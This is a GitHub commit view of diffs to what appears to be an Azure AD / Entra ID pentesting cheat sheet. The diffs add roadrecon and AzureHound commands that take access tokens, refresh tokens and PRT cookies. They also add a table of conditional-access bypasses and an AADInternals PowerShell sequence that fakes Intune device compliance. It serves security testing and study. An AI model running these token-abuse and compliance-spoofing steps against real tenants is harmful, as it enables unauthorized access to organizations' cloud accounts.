-
-
Notifications
You must be signed in to change notification settings - Fork 240
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
ce9e94f
commit 8a796c3
Showing
7 changed files
with
165 additions
and
166 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# Microsoft Entra Connect | ||
|
||
## Password Hash Synchronization | ||
|
||
## Pass-Through Authentication | ||
|
||
## Federation | ||
|
||
|
||
## References | ||
|
||
* [Introduction to Microsoft Entra Connect V2 - Microsoft](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect-v2) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -14,11 +14,12 @@ Invoke-AADIntReconAsOutsider -UserName "[email protected]" | Format-Table | |
* roadrecon | ||
```ps1 | ||
roadrecon auth --access-token eyJ0eXA... | ||
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2" | ||
roadrecon gather | ||
``` | ||
* AzureHound | ||
```ps1 | ||
./azurehound -r REFRESH_TOKEN list --tenant domain.local -o output.json | ||
./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json | ||
``` | ||
|
@@ -34,13 +35,30 @@ Conditional Access is used to restrict access to resources to compliant devices | |
| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) | | ||
| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) | | ||
| Azure AD Joined Device | Try to join a VM (Work Access)| | ||
| Compliant Device (Intune) | Fake device compliance | | ||
| Device requirement | / | | ||
| MFA | / | | ||
| Legacy Protocols | / | | ||
| Compliant Device (Intune) | / | | ||
| Domain Joined | / | | ||
Bypassing conditional access by faking device compliance | ||
```powershell | ||
# AAD Internals - Making your device compliant | ||
# Get an access token for AAD join and save to cache | ||
Get-AADIntAccessTokenForAADJoin -SaveToCache | ||
# Join the device to Azure AD | ||
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64" | ||
# Marking device compliant - option 1: Registering device to Intune | ||
# Get an access token for Intune MDM and save to cache (prompts for credentials) | ||
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache | ||
# Join the device to Intune | ||
Join-AADIntDeviceToIntune -DeviceName "SixByFour" | ||
# Start the call back | ||
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour" | ||
``` | ||
|
||
## Azure AD - MFA | ||
|
||
* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
# Azure Requirements | ||
|
||
## Pentest Requirements | ||
|
||
* **Global Reader** and **Security Reader** roles in Azure AD | ||
* **Reader** permission over the subscription | ||
|
||
|
||
## Powershell and Native Modules | ||
|
||
* [Microsoft Graph](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0): `Install-Module Microsoft.Graph -Scope CurrentUser` | ||
* [Azure AD](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureAD` | ||
* [Azure AD Preview](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureADPreview` | ||
* [Azure CLI](https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli-windows?tabs=winget): `winget install -e --id Microsoft.AzureCLI` | ||
|
||
|
||
## Terminology | ||
|
||
* **Tenant**: An instance of Azure AD and represents a single organization. | ||
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources. | ||
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory. | ||
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too. | ||
|
||
|
||
|
||
## References | ||
|
||
* [Az - Permissions for a Pentest - HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-permissions-for-a-pentest) |
Oops, something went wrong.